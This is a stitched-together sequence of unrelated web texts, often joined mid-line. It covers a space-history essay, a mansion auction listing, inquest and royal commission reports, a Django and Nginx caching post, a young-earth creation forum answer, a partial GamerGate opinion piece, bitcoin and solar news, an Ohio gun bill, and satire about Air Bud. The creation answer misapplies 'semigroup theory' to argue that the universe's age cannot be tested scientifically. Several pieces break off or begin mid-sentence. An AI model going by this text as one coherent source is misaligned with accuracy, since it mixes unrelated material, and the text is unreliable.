And nowadays even the promise of inexpensive, routine flights into space is back again, but in a new guise: an armada of entrepreneurs who think that the open market can deliver what decades of government bureaucracy could not. Eager customers have already snapped up $200,000 tickets for half-hour flights to the fringes of space, while space hotels and even privately-funded Moon bases are taking shape on computerized drawing boards.
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Apollo-footprint_m.jpg" url_large="" alt="Apollo 11 footprint" caption="The touchdown of Apollo 11 on the Moon on July 20, 1969, is still considered by many to have been the pinnacle of human achievement in space to date." credits="NASA" width="" height="" align="right"]
The first 60 years of space exploration was just the bumpy beginning of what might be an endless, gradual expansion — just our first walks around the block after leaving the cradle of Earth. The decades ahead will no doubt bring us face to face with marvels we can’t yet imagine, as we explore our near and distant environs more deeply.
But there will always remain something special in our collective human memory about the first halting steps made into the cosmos that surrounds us. Even the language we use, in dozens of words and phrases, now draw from the A-OK’s, the nominals, and the major malfunctions of the space program.
As we strive to understand the universe we live in, all systems are go, and the countdown has just begun.
This essay is adapted from the introduction to Space: 50 Years and Counting, published in 2007 by the editors of Sky & Telescope.Proudly sitting in one of the highest points of the Salt Lake Valley, in the exclusive community of Lost Canyon, this mesmerizing estate offers endless views and almost 18,000 square feet of extraordinary amenities, spreading over three levels. Seven bedrooms, 11 bathrooms, two massive kitchens, a tiered movie theater and a gorgeous infinity pool should be more than enough to make your eyes pop, but that’s not all this wonderful residence has to offer.
Inside, you’ll find some of the finest woodwork in the entire country, with a wonderful spiral staircase taking your breath away the minute you get in. The grand living room or the formal dining room are equally stunning, while the incredible master wing will make the next owners of this lavish property feel extremely thankful for buying one of the top estates in all of Utah.
Guests are always welcomed here as well, especially since they’ll have their own apartment, with its own kitchen. But the real treat comes when you venture outside, where you’ll find three levels of entertainment and fun, perfect for the entire family. The infinity edge pool, with a wrap around patio, pool house and a separate tub can be found on top, a large gazebo that’s perfect to hang out sits on the next level, while the tennis court below will be perfect for some action.
But you could also burn some calories indoors, as a racquetball court sits just below the over-sized garage, with room for up to six cars, and even a boat. It’s a one-of-a-kind mansion, just a few minutes away from Salt Lake City, and the best thing is that you could name your own price, since it’s listed for auction on May 20th at 11:00 am. Are you up for it?
[Decaro Auctions]Britt Lapthorne: Coroner to deliver open finding on death of Australian backpacker in Croatia
Updated
The Victorian Coroner says he will have to deliver an open finding into the death of Australian tourist Britt Lapthorne who died in Croatia more than six years ago.
The Melbourne student's remains were found by a fisherman in the water off the coast of Dubrovnik 18 days after she went missing in September 2008.
She was last seen partying at a nightclub with fellow backpackers a kilometre away from where she was found.
Ms Lapthorne's family previously said they believed her body was dumped in the sea and weighed down in the hours after she disappeared.
The Coroner's Court today heard that both the Australian Federal Police (AFP) and Croatian police had been unable to uncover evidence to definitively say Ms Lapthorne was murdered.
But Croatian authorities ruled out the possibility Ms Lapthorne committed suicide and found it unlikely she died after going swimming.
Her father Dale Lapthorne had been highly critical of the way the investigation into her disappearance was conducted by Croatian authorities.
His criticism included their slow start to the search, the lack of communication with the family, the authority's initial insistence the body found in the water could not be Ms Lapthorne's and their failure to determine how she died.
But counsel assisting the coroner, Sergeant David Dimsey, told the court an AFP review of the Croatian investigation found local police had been "professional and determined in their efforts" to find out what happened to Ms Lapthorne.
However, the review did acknowledge several deficiencies in the investigation early on.
Lapthorne family'must learn to live' with mysterious death
Ms Lapthorne's father Dale, mother Elke and brother Darren were in court to hear the closing summary, and thanked the court for trying to establish what happened.
Outside court, the Lapthorne family maintained their daughter was murdered.
Whoever did this to our daughter, they have to live with their guilt. I hope, I hope it tortures them like we're tortured everyday. Elke Lapthorne
"Whoever did this to our daughter, they have to live with their guilt. I hope, I hope it tortures them like we're tortured everyday," Ms Lapthorne said.
"But in the end, nothing we do will bring our daughter back to us.
"Our feeling is we've just had to learn to live with it."
Mr Lapthorne said the exact details of his daughter's death may never be known.
"[Today's findings] is not so much a closure of the case... but a suspension of the case, and we accept that and we're quite happy with it," he said.
"At the end of the day, it is a Croatian criminal investigation and, as the coroner had pointed out today, it is still an ongoing criminal investigation.
"As to whether it will ever progress or [if] we will ever find out what actually happened to Britt, I'm not sure."
Ms Lapthorne's brother Darren said it had been a tough seven years.
"Although we may never really find out what happened to Britt, I know I still live in the hope that one day as long as I live I'll find out an answer," he said.
Britt Lapthorne 'did not die in vain'
Dale Lapthorne told the court part of his daughter's legacy was that backpackers were now more careful when travelling overseas.
"Some years ago I travelled in Britt's footsteps [through Europe]. I picked up my backpack and felt she was travelling with me," he said.
"It was an amazing experience.
"So many people were aware of the story and the good part about it, and the legacy was that their parents had warned them to be careful."
He said he also believed Croatian police had changed their practices since his daughter's death.
"They now respond instantaneously to any issue. Certainly what we've heard [is] they've picked up their game dramatically," Mr Lapthorne said.
"I don't like saying this, but maybe she didn't die in vain."
Mr Lapthorne said it was of comfort to have it on the record that his daughter didn't commit suicide, and it was unlikely she deliberately jumped into the ocean or decided to go swimming.
"To get to that point is a huge achievement for us," he said.
"We will continue, but we'll probably never find out how Brit lost her life."
Today marked the final day of the inquest, with coroner Ian Gray expected to hand down his findings in the coming weeks.
Topics: missing-person, death, croatia, melbourne-3000, australia
First postedINDIANAPOLIS, Ind. -- The 2017 Big Ten regular-season champion University of Michigan men's soccer team secured an at-large bid to the 2017 NCAA Tournament on Monday (Nov. 13). U-M, seeded 13th, earned a first-round bye and will host the winner of the Massachusetts vs. Colgate match on Sunday (Nov. 19) at 5 p.m. at U-M Soccer Stadium.
The NCAA berth is the sixth in program history, with the last coming in the 2012 season. Michigan, which is 5-0 all-time at home in NCAA Tournament matches, last earned a first-round bye in the 2010 season. In its last NCAA appearance in 2012, U-M defeated Niagara, 3-1, at U-M Soccer Stadium before falling by a 2-1 score at No. 1 Akron in the second round.
The Wolverines are 12-5-2 overall on the campaign, boast a 7-2-0 mark over their last nine matches, and are 9-2-1 at home. U-M's 12 wins are the most in the coach Chaka Daley era, the most since 2010, and the fourth-most in school history.
Forty-eight teams earned selections to the tournament, with the top-16 seeds earning first-round byes.
Tickets will go on sale Monday afternoon (Nov. 13). Tickets are $8 for reserved chairback seats, $6 for general admission, $5 for students, and $3 for groups of 10 or more.Fast Caching with Django and Nginx
I've been toying with optimizing the caching on my blog recently – for my own interest (this humble blog doesn't get all that much traffic). All the same, any speed improvements will only mean snappier page-loads and greater capacity to handle a slashdotting, or similar.
I discovered that Nginx has a memcached module that can serve pages directly from memcached without touching the file-system, or a downstream web-app. Which makes for very fast response times. To get it working, you need to set a cache key named with the url of the page, and the value to the HTML. Alas, this means that it would not work with Django's caching mechanism due to the way Django caches unique pages based on the contents of the request header.
Still, the promise of serving up cached pages without even touching Django was most tempting. So I took the cache middleware from Django and butchered it so that it created a simple enough cache key for Nginx to handle.
Here's the code that generates a cache key, given a request:
def get_cache_key ( request, key_prefix = None ): if key_prefix is None : key_prefix = settings. CACHE_MIDDLEWARE_KEY_PREFIX cache_key ='%s. %s'% ( key_prefix, request. path ) return cache_key
The following snippet, taken from my Nginx conf file, creates a variable called $memcached_key that matches the cache_key generated in the Python code. If that key exists in memcache it is served directly, otherwise it proxies through to the Django app.
location / {
set $memcached_key.$uri;
memcached_pass 127.0.0.1:11211;
default_type text/html;
error_page 404 = /dynamic$uri;
}
location /dynamic {
proxy_pass http://127.0.0.1:80/;
include /etc/nginx/proxy.conf;
}
Unfortunately my butchering of Django's cache code meant that it would no longer handle dynamic pages. I compensated for this by re-writing any urls with dynamic content so that they went directly to the app.
rewrite /xhr/ /dynamic$uri;
rewrite /search/ /dynamic$uri;
Yet another casualty was Django auth – I couldn't access any pages as a logged in user. The work-around for this was to create a sub-domain that pointed at the same IP, but didn't do the caching via Nginx. That way, I can use the sub-domain for any site admin work.
So far, this Frankenstein cache mechanism seems to be working nicely – pages are served as rapidly as memcached can pluck them out of memory.
If you would like to see the code, Django Techblog is open source. It was meant to satisfy my own needs in a blogging engine, but hopefully it will be of use to others. And it would be very cool if there were other Techblogs on the interwebs!Royal commission into child sexual abuse: John Kostka Chute remains a Catholic Brother despite abuse conviction
Updated
A Marist Brother who was sentenced to six years' jail for abusing boys and girls is still a Brother in the Catholic order, a royal commission has heard.
John Kostka Chute was convicted in 2009 of 19 sex offences involving six children, most involving his time teaching at Marist College in Canberra.
The former head of the Marist order, Alexis Turton, is on the stand at the Royal Commission into Institutional Responses to Child Sexual Abuse for a third day.
Peter O'Brien, the lawyer for one of Chute's victims, asked Brother Turton about Chute's current status within the order.
Mr O'Brien: "Kostka Chute is still a Brother with the Marist order?" Brother Turton: "Yes." Mr O'Brien: "Having spent six years of a term of imprisonment for molesting children under his care, he's still a Brother in the Marist Brother order?" Brother Turton: "Yes."
As the order's professional standards officer, Brother Turton handled complaints against Chute and Greg Sutton, who were both later convicted of child sexual abuse.
Brother Turton denied his job was to conceal the activities of child molesters within the order, instead of exposing them.
Mr O'Brien: "Was it in fact your role in that position to conceal the activities of child molesters in the Marist Brothers organisation as opposed to exposing them? Brother Turton: "No, that wasn't my role."
Karen McGlinchey, a lawyer for two abuse victims, asked Brother Turton why Marist College Canberra appeared to attract Brothers who intended to sexually assault children.
Brother Turton: "Looking back, what could we have done back then? Apart from look at the systems that we have now, which are dramatically different. "I don't have a simple, single answer. It's a mystery to me what could have happened then that just would have put a halt to what we're looking at here." Ms McGlinchey: "Do you understand why it might be very difficult for people to understand or to accept that other Brothers did not know that this offending was going on in this period of 25 years?" Brother Turton: "I can understand that. I lived for a Brother for a number of years who I later found out was an offender. I was absolutely shocked. I had no idea. I was angry. "And I know married people who had partners who were offenders and didn't know it. I can certainly understand people's disbelief." Ms McGlinchey: "Can I suggest to you, that there was a reluctance on behalf of yourself, to seek details of allegations, because they may later turn into liabilities for the church?" Brother Turton: "I think at the time, with my experience, that would have been the last thing on my mind. Having said that, I think there was a steep learning curve that we were involved in as to how far our questioning should go into these matters."
The current head of the Marist Brothers order, Jeffrey Crowe, is the next witness due before the commission.
Topics: child-abuse, royal-commissions, catholic, sexual-offences, canberra-2600, act, nsw
First postedI have a Ph.D. in Mathematical Physics, and have thought about these questions for some time. I am going to write down a few of my thoughts as an answer. The basic question is, it seems to me, "How can we reconcile the biblical creation account with its (at least literal) account of a young earth, with scientific evidence for an old earth?"
Firstly, I question whether the "scientific evidence" is all that scientific. Karl Popper said that a scientific statement is one that can, in principle, be falsified by observation. He may have exaggerated the role of falsification, but surely no one can deny that if a statement cannot possibly be tested by an observation, it is not in the realm of science. So the question, "Is it raining outside?" is scientific, whereas, "Is there a God?" is not.
Let us examine the statement, "The universe is billions of years old." Is it scientific? Are there observations that could confirm or not confirm it? I believe the answer is "no". To test it, we would have to construct hundreds (probably a much greater number) of parallel universes, evolve them in time over billions of years, and see where they wind up. We have no method of constructing parallel universes, so this procedure is impractical. That is, we have no basis for measuring the statement empirically.
Now let us examine the statement, "God created the universe a few thousand years ago." This statement fails to be scientific for nearly the same reasons as the other.
To sum up so far: no ultimate question about origins is scientific, because there can be no experiments to test it.
However, there is the creation account in the Bible, and as I take the inerrancy, infallibility, and inspiration of the Scriptures as axiomatic, I see no reason not to believe in that historical account. Science, as we have seen, has no tool at its disposal to prove or disprove anything with respect to origins.
There is another, mathematical, reason why science cannot disprove the idea of a mature creation: semigroup theory. Suppose you have a system that starts at state A, evolves in time through state B, and ends up at C. That is, the state evolves this way: A -> B -> C. Now, let's take an identical system, and suppose that it evolves in time from B -> C. Semigroup theory says that if you're in the system, and you have no outside knowledge or memory of the system, then there is no test you can perform to determine if you came from A or from B. So, if we take the universe as our system, and we have no outside knowledge or memory of its evolution in time, then we cannot tell at all whether the universe was created only a few thousand years ago to look billions of years old, or whether God really did create it billions of years ago, and its age and apparent age match. Therefore, science cannot disprove mature creation.
It has been brought up in comments, and in the edit to the OP, that the appearance of age requires deception on the part of God, and is therefore inadmissable. To that I would reply that we are no judge. First of all, our judgement of the age of the universe can be, and almost certainly is, spurious. We have no memory of those kinds of vast eons of time. Secondly, if we are talking about the Creator of the universe, then He is not answerable to us, but we to Him. Thirdly, I would point out various portions of the Scriptures that indicate that His ways are far above ours. If we do not have the full picture, and we do not, then we should not confuse our short-sightedness with clear-sightedness. Do we have the full picture? Do we know all the things going on here? I think not. If we serve a God Who is by no means obligated to reveal anything at all to us, we should not complain if a "few things" are unclear. Fourth |
hopped image had numerous details that should have tipped journalists off to its fakeness—including a very visible sex toy in the background—but also wrote, “It’s very funny though that GamerGate got the blame, I would lie saying that it doesn't amuse me profoundly.”
Several GamerGaters told me that both Blacktric and TW were part of a group known as “the #AyyTeam,” which one of them characterized as “an unpleasant collection of nihilists, lunatics and mayhem-for-the-lulz types that troll and cause trouble for everyone regardless of affiliation.” And what exactly is this “AyyTeam,” which does turn up in Blacktric’s archived tweets—sometimes in a context of mocking GamerGate? A discussion on the GamerGate Reddit forum last April describes it as a GamerGate splinter group that shares the movement’s dislike of “social justice warriors” but seems to devote much of its energy to attacking GamerGate itself.
Ironically, it seems that AyyTeam’s quarrel with GamerGate was mainly over the latter’s quest for legitimacy as a movement, including its efforts to disavow online abuse—efforts almost entirely erased from the mainstream media narrative. (On occasion, anti-GamerGate journalists grudgingly acknowledged the group’s harassment-patrolling activities—but with no effect on subsequent GamerGate coverage.)
I did find a GamerGater who was still in contact with TW and offered to put me in touch with him; the result was a brief online chat. Obviously, anything said by someone who admits to a history of “messing with people” must be taken with a grain of salt. For what it’s worth, though, TW told me that he never “identified as GG,” never posted on GamerGate forums or participated in any of its email campaigns targeting advertisers on supposedly unethical media sites, and never debated GamerGate adversaries on Twitter. Was he ever in GamerGate? Depends on how you define “being GG,” TW said: “I was basically just following this whole thing, making stupid edits/shops of stuff and posting in the tag at first."
TW was also frank about the fact that he trolled GamerGate later on, often using throwaway accounts, and that he saw GamerGate as an easy target for baiting because of its members’ tendency to “overreact.” However, he denied that either he or Blacktric were part of “AyyTeam” and insisted that he didn’t even know who was in that group, saying that “it’s GG's favorite boogeyman, same as GG is the internet’s boogeyman for bad things that happen.”
As for the reports linking Jubbal to the Paris attacks, TW once again blamed the media, pointing out that the sex toy in the altered photo should have immediately given it away as a fake: “I put it there to make it REALLY obvious.” For the record, I also received a message from “Blacktric,” who did not comment on his relationship with GamerGate but expressed remorse over the tweet that misidentified Jubbal as one of the attackers, saying that he wishes he could take it back.
The Jubbal hoax was certainly an ugly prank, and potentially a highly damaging one. But whether its perpetrators were malicious or reckless, it seems fairly clear that they were not, in any meaningful sense, “GamerGaters.” It may be accurate to call them ex-GamerGaters who had been on the movement’s fringe, or renegade GamerGaters. (Not even the movement’s strongest supporters would deny that the hashtag has attracted some trollish types.) But they also provide some support for GamerGate’s longstanding claims that much of the mayhem associated with the movement comes from third-party trolls who get a kick out of baiting both sides.
As for GamerGaters’ gloating over the story, much of it was at the media’s expense, with tweets arguing that the shoddy performance of the press was precisely the kind of lapse that the group’s “ethics in journalism” crusade had targeted. Some also said that they saw Jubbal’s experience as “karma,” since he had supported the portrayal of GamerGaters as terrorists. While this may sound childish and vindictive, a look at Jubbal’s GamerGate-related tweets—in which he said that anyone supporting GamerGate was “terrifying”; told a female GamerGater who complained of harassment by GamerGate opponents to leave the movement; and repeated a false rumor that GamerGate got a critic’s dog killed—makes the sentiment somewhat understandable.
Paolo Munoz, a software developer for a large corporation and an independent game developer who has been active in GamerGate from the start, admitted to me that his first reaction to Jubbal’s situation was “Schadenfreude” after seeing people in GamerGate lose their jobs and suffer other personal damage “because of false accusations of terrorism.” But Munoz also says that he “initially didn’t recognize the danger Veerender was in” and that once he did, his attitude changed: “Victims of irresponsible journalism deserve our sympathy, even those who've mocked us for demanding ethics reforms.”
If many GamerGaters have been rather cavalier about Jubbal’s disturbing experience, they are, sadly, neither the first nor the last group to show lack of sympathy for an adversary in online wars (or offline political wars, for that matter). In the meantime, while Jubbal has been quickly exonerated, the bum rap against GamerGate continues to be recycled.
Thus, a recent piece in the left-wing magazine In These Times on a controversy around an online harassment panel at the upcoming South by Southwest digital culture festival suggests that GamerGate was responsible for the “SWATting” of one of the panelists, anti-harassment activist Randi Harper. (“SWATting” refers to a fake 911 call intended to dispatch a SWAT team to the victim’s home.) Yet there is no evidence linking Harper's SWATting to GamerGate. A similar incident involving another GamerGate critic was linked (according to Verge, hardly a pro-GamerGate publication) to “unaffiliated trolls” from a forum dedicated to “general anti-social mayhem” where users openly joked about letting GamerGate take the blame.
In These Times also approvingly notes that some call GamerGate “a terrorist movement.”
In fact, as the culture-wide rebellion against authoritarian “social justice” politics gathers momentum—from the campus wars to the new season of “South Park”—GamerGate looks increasingly relevant as that rebellion’s first spark. Does this movement have its unsavory side? Sure, as does virtually any movement. Ironically, the Vice article blaming GamerGaters for the attack on Jubbal concluded by quoting Jubbal’s own admonishment not to “paint entire … communities with the same brushstroke.” Journalists would do well to heed that advice when it comes to GamerGate.“Lowest-Cost PV Energy On The Market” — Concentrated PV From Cogenra
November 21st, 2013 by Nicholas Brown
This system concentrates the equivalent of 14 suns onto the receiver. The result of this is that each cell can generate 14 times as much electricity as a solar cell without concentration would. Only 2.1 MW of PV cells are required to generate 30 MW of power in this system. And speaking of efficiency, this system uses 10% less land than traditional photovoltaic systems.
The thermal management system is designed to facilitate waste-heat recovery and storage of that waste heat, facilitating on-demand solar thermal power generation.
“Cogenra’s T14 array is a major milestone for the PV industry, delivering the lowest-cost PV energy on the market,” said Gilad Almogy, CEO of Cogenra Solar. “By combining new efficiency advantages in the crystalline silicon PV cell industry with our proven technology, we have been able to reach cost structures never seen before in the industry. Thanks to our 14X concentration, these higher efficiencies can now be used in large and utility-scale projects, and not limited to premium residential rooftops.”
“Pricing continues to be paramount in the race for solar deployment,” said Pavel Molchanov, energy analyst at Raymond James. “Cogenra’s T14 system is targeting a cost structure that is even lower than Chinese panels, making it a potentially disruptive innovation in the solar industry.”
The first T14 is being installed at Red Rock Ranch in Five Points, CA.
Follow me on Twitter @Kompulsa.COLUMBUS, Ohio -- Ohio lawmakers on Wednesday moved a step closer to allowing gun owners to carry their concealed firearms into bars and restaurants.
The Ohio House approved House Bill 45 by a vote of 56 to 40. The Senate passed its own version, Senate Bill 17, last month. Because the Republican-controlled legislature can only send one bill on the same issue to Gov. John Kasich, they must pick a bill to work from then iron out any differences.
House Speaker Bill Batchelder, a Medina Republican, said the Republican governor has already assured him that the bill will get signed.
"We visited about it," Batchelder said. "Absent something drastically changing, I don't know what that would be, the language is clear. There really is no problem there. I would expect the governor to sign it."
A Kasich spokesman, however, was non-committal, saying the governor would make a decision once he receives the bill and has time to review it.
Currently, 42 other states have a version of rules allowing concealed carry permit holders to tote their firearms in alcohol-serving establishments. Some states allow it in restaurants but not bars. Others are silent on the issue -- no law specifically for or against-- making it legal by default.
Dark blue: States prohibiting guns where liquor is sold. Pale blue: States with more permissive laws, such as allowing guns in restaurants.
White: States with no specific law. Sources: New York Times (2010), (Successful) Tennessee suit to block 2009 law permitting guns
Gun supporters have tried for years to have their concealed carrying privileges expanded to Ohio's class D liquor license establishments, which includes bars, restaurants, clubs and stadiums and arenas.
But despite Wednesday's decisive vote, the proposal has been on a slow road thanks to significant opposition. Various groups representing the state's largest law enforcement agencies, restaurants and bartenders oppose the bill which was a factor for many lawmakers.
The House bill cleared a committee in March but Batchelder was reluctant to bring to a full vote because he was not certain he could get the 50 votes needed, this despite Republicans having a clear majority in the chamber.
"We wanted to make sure we didn't bring out a bill to the floor and lose it," Batchelder said. He said the Republican caucus met five more times on the bill and "we picked up votes."
Proponents argue that it is a personal safety issue. They also note that bars and restaurants that do not want guns in their establishments can still prohibit it by posting a sign to that effect.
"You never know when a crime is going to be perpetuated, and you better be prepared to defend yourself," said Rep. Danny Buph, a Republican from Southern Ohio, and co-sponsor of the House bill. "And that's what this bill does."
Most importantly, supporters say, the bill forbids the gun owner from drinking alcohol while in possession of a firearm while in a bar or restaurant. Violating this rule would be a felony.
The biggest supporters of the bill were the Buckeye Firearms Association and Ohioans for Concealed Carry, two gun rights groups that lobbied lawmakers heavily.
Opponents argue that allowing guns into places where people are drinking alcohol is unnecessarily inviting trouble for patrons and law enforcement officials who respond to disturbances.
They also argue that the bill could have a more detrimental impact in urban areas where there are more bars and restaurants.
"It might work in some areas of the state but it does not work in every area of the state," said state Rep. Sandra Williams, a Cleveland Democrat, who voted against the bill.
Williams offered an amendment that would allow local municipalities to opt out of the law but it, like all the other Democratic amendments, was rejected by the Republican-controlled House.
The bill also allows concealed carry license holders to more freely handle their firearms while driving by removing rules requiring the weapon to be secured in a holster, case, bag, box or other enclosure.
The next step for the legislature is to determine which bill they will work from. The House could have accepted the Senate's bill, which is nearly identical, and moved the legislation forward more quickly.
Batchelder said he would speak to Republican Senate President Tom Niehaus on how to proceed and said one of the bills could move as soon as next week.CondA(c) Nast Publications in 2006, and in 2012, the site became an independent organization based in San Francisco.
He will be speaking to Alex Yakubovich, a Case Western graduate and co-founder of the online restaurant ordering enterprise Onosys Ltd. Onosys, also started on a campus, was bought by LivingSocial Inc. in 2012.
Benjamin Ratner, a second-year computer science major at Case, helped bring Ohanian to campus. He said he felt so empowered after hearing Ohanian talk about how to launch ideas into businesses and reading his book that he emailed the tour's promoters about adding Cleveland to the book tour.
The event is sponsored by Blackstone LaunchPad, a campus program to mentor and promote entrepreneurship, along with the university's Career Center, Case's Weatherhead School of Management, and IDEA, an entrepreneur club.
Follow along with the conversation in the comments section below.RHODES, GREECE—Ignoring critics’ calls for the aging golden retriever's retirement, basketball standout and multisport athlete Air "Bud" Buddy has signed a one-year contract for an undisclosed amount with Kolossos Rodou B.C., a mid-level club in the Greek Basket League.
"Bud is proud to bring his experience, his attitude, and, of course, his unique brand of dogged on-court antics to Kolossos," read a press release from Buddy's agent published Friday. "He looks forward to meeting the fans and making whatever contribution the team asks of him, whether it’s sinking his patented three-point'muzzle shots' or helping young Hellenic players find the confidence to believe in themselves."
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Although the deal has been in the works for several weeks now, it was only formally announced this week when the Euroleague regulations committee, after long deliberation, found that nothing in the Greek rulebook says a dog can't play basketball.
Although Kolossos team officials would not divulge details of the contract, it is not believed to exceed the mid-five figures or extend beyond the GBL's 2013 season, terms most basketball insiders agreed were generous for a somewhat overweight dog in the twilight of his basketball career.
"We are happy to have Buddy, and while he may not start, we intend to have him come out from under the bench late in games, as his tenacity and instinct for protecting a lead are unmatched," Kolossos coach Giannis Sferopoulos said. "In fact, age and size limitations aside, I have never seen a player chase a ball with more determination than Buddy."
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The signing was not universally lauded. Many Greek sportswriters characterized the acquisition of a former canine star as a pure publicity move by Kolossos designed to fill more of Venetoklio arena's 1,342 seats. And many American sportswriters argued that, after the whirlwind of media attention Buddy enjoyed in his youth, the dog might simply be unable to quit the spotlight.
"I'm not denying he had talent—he was the best basketball-playing dog of his generation, period, full stop," Sports Illustrated's Sam Amick said. "In his day, all the bullies and abusive coaches in the world couldn't stop him. But even setting aside all the career distractions he's put himself through—the forays into football and soccer, his business relationship with Disney, all that cringeworthy stuff with the Air Buddies—we can't ignore that he's now an old dog, and the sleek young slam-dunking retriever we all remember from the 1990s is gone forever."
"I can understand his reluctance to go to a nice farm team, with all that implies," said writer Bill Simmons, who devoted 256 pages to Buddy's career in his 2009 opus The Book Of Basketball. "But frankly, Bud is looking really tuckered these days. It may be time for someone close to him to say, 'Hey, Bud! Would you like to curl up for a nice nap in your dog bed? Would you? Huh? Would you, boy?' Otherwise, Kolossos Rodou may accidentally find itself in an argument over whether or not dogs go to heaven."
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Still, even Buddy's harshest critics acknowledged the aging dog would perform to the best of his dwindling ability and, furthermore, live up to his legacy by at least turning in a complete and total effort.
"Like all dogs, Buddy only knows one speed—all out," ESPN basketball correspondent John Hollinger said. "Unfortunately, that speed isn't what it used to be. But his effect on team morale is great, and he's a good influence on younger players, particularly if any of those players are still struggling to come to terms with the recent deaths of their fathers in tragic airplane accidents."
At press time, Buddy had played only six minutes in Sunday's loss to Kavala, scoring five points in 2-for-5 shooting from the floor, earning two assists, and greatly helping fellow American expatriate player Ruben Boykin deal with his homesickness issues.Bitcoin-centric social network ZapChain is once again enabling micropayments with the launch of a new in-house tipping mechanism.
The announcement finds ZapChain furthering its attempts to experiment with content monetization, following Coinbase’s decision to end its tipping service in February.
Company CEO Matt Schlicht asserted the move toward micropayments was inspired by the lack of available venues for consumers to have introductory experiences with bitcoin, while ZapChain investor and Boost VC CEO Adam Draper spoke to the big picture behind the company’s vision for content monetization.
Draper said:
“Microtransactions might be a new way for web content creators to make money. It could be a game changer.”
ZapChain users will now see a green ‘Tip’ button beside both questions and comments. By clicking this button, users are prompted to send bits, or units of bitcoins, to other users – be it someone who has asked a question or someone who has provided an answer.
The tip amounts are pre-set to represent items such as a coffee, an apple or a pizza.
ZapChain said it is not currently seeking to make a profit from the tool, but suggested it may be looking to allow other platforms to integrate the product.
The tool was built on Blockcypher’s API, allowing all tipping transactions to be conducted on the bitcoin blockchain.
Tipping image via ShutterstockSubway is quickly becoming the bitcoin fast-food franchise, albeit unwittingly and unofficially.
A third Subway sandwich shop, following the lead of shops in Moscow and Allentown, Pennslyvania, is now accepting payments from customers bearing bitcoin.
The latest outlet, this time in Bratislava, Slovakia, has accepted bitcoins since 13th November, when the first payment was made to the wallet associated with the shop. Since then, a modest five payments have been made.
With now three Subway shops across the world accepting bitcoin, questions are beginning to be asked about whether it is merely coincidence, or something else.
Subway has over 40,000 stores around the world, so three seemingly unconnected stores in the US, Russia and Slovakia are a drop in the ocean of the wider Subway business.
At the same time, there have been no reports of McDonald’s or KFC accepting bitcoins. Subway the brand is beginning to become associated with bitcoin – at least for reddit’s bitcoin audience.
On 3rd November, a tweet revealed the first Subway shop accepting bitcoin in Moscow:
Subway near Moscow offers 10% off if you pay with #Bitcoin. pic.twitter.com/QMX4bJsNAP — Alberto GomezToribio (@gotoalberto) November 3, 2013
However, an earlier picture posted on Instagram indicated that the shop had been accepting bitcoin since the summer:
Days later, on 8th November, it emerged that a Subway in the United States was also accepting bitcoin. Though there was initial scepticism, a follow-up video confirmed that the outlet accepted bitcoin; on the flip side, the video also confirmed that payments with bitcoin can be tricky and slow if both parties aren’t entirely clued up.
News of the shop in Bratislava first emerged on reddit in a post by user jangwao, who said that the owner of the franchise, Martin Petrus (according to this local report), had previously used bitcoins on an online business.
It isn’t clear as to whether the three shops independently decided to accept bitcoin payments, or if the Moscow outlet inspired the franchise owners in Allentown and now Bratislava.
However, the first payments to the wallet addresses associated with the Allentown and Bratislava outlets are both later than the reports of the Moscow outlet, so it is possible that this is a case of bitcoin-savvy business owners being persuaded by the example set by others.
According to posts on a local Slovakian forum, the Subway franchise is using MyCelium to process bitcoin payments [Google Translate], just like the shop in Moscow. Update 19/11/2013 17:08 – the store actually uses btcpos.com.
A spokesperson for Subway wouldn’t be drawn on whether the brand approved or disapproved of their franchisees using bitcoin and noted that all Subway stores are “independently owned and operated”.
However, they added: “As part of their franchise agreement, franchisees are required to comply with all local laws.”
Update 19/11/2013 15:13 – Bratislavia Subway owner Martin Petrus, also the founder of a Slovakian bitcoin exchange that launched in August of this year, has been in touch via email and says he only found out about the Allentown and Moscow subways after he started accepting bitcoin in his shop.Bengaluru: In India, there is no dearth of sops. And when it comes to encouraging women entrepreneurs, there are special loans on offer and banks set up exclusively to cater to them.
And more recently, there has been a rise in the number of women-only tech parks to help women rent space at subsidized rates.
The Federation of Indian Chambers of Commerce and Industry (FICCI) last week said it has plans to set up industrial parks for women entrepreneurs. Rati Mundrey, chairperson of FICCI Ladies Organization, said land had been earmarked at industrial estates in Telangana, Gujarat and Karnataka. And in Assam, Haryana, Meghalaya, Punjab, Uttar Pradesh and West Bengal, the state governments have agreed in principle to create industrial parks for women.
The reason for setting this up is quite obvious.
Women own 10% of micro, small and medium enterprises of which 90% are micro businesses, and account for only 3% of the output, said Mundrey.
Moreover, given that women entrepreneurs face gender-based barriers to starting and growing their businesses, like discriminatory property rules, lack of access to formal finance mechanisms, limited mobility and access to information and networks, a cluster like this can help give women entrepreneurs a boost, said Mundrey.
This initiative follows a move by the Karnataka government to set up a 300-acre tech park exclusive for women in Bengaluru.
While this is a step in the right direction, the problems for women entrepreneurs are multi-fold, starting from lack of funding for women-led ventures.
“While a move like this can be a boost, funding in itself is a big challenge for women, and mostly sops like these remain on paper. So one should be wary of how it would actually materialise" says Sairee Chahal, founder of Sheroes, a platform to help women with their careers.
She added that one such initiative was the Bharatiya Mahila Bank, which was set up with much fanfare in 2013. “But many of the women entrepreneurs don’t even hear back from the bank when they apply for loans," she said.
Smita Mishra, founder of Pool Wallet, a platform that allows real-time online sharing of expenses, said: “ There are some fundamental challenges unsolved and there is so much that can be done for women before we go towards these benefits. The most fundamental of these is funding. Women are still not getting enough funding. The percentage divide between men and women entrepreneurs is higher and it reflects in the funding too."
Stories of women funders facing numerous challenges to raise funds are numerous. Nidhi Agarwal, the founder of Kaaryah, a brand of western, non-casual wear for Indian women, made as many as 113 investor pitches before she finally got funded by Ratan Tata.
In fact, there are a total of 208 male co-founders in the top 100 start-ups—and only 16 female co-founders.
According to another finding released by YourStory.com, a media platform for entrepreneurs, only 68 of 307 start-ups that raised funding in the first quarter of 2016 had a female co-founder. Of these, only nine had a sole female founder.
To help solve the funding challenge, Mishra believes that the debt funding and loans given under Startup India policy that was put in place in 2016 is a good move. But here too, the numbers of disbursals done are not encouraging, says she.
Prime Minister Narendra Modi proposed a Rs.10,000 crore (about $1.5 billion) corpus to be deployed in tranches of Rs.2,500 crore over a period of four years.
“It seems difficult to procure them and there is also not enough transparency or understanding on how this works and who is accountable for it. You have to know the ‘Right" guy. Policies don’t work like this," she says.
Aditi Bansal, co-founder of Ubunanny, an on-demand babysitting service, feels women could use more help in finding an exclusive space especially in the incubation and acceleration stage.
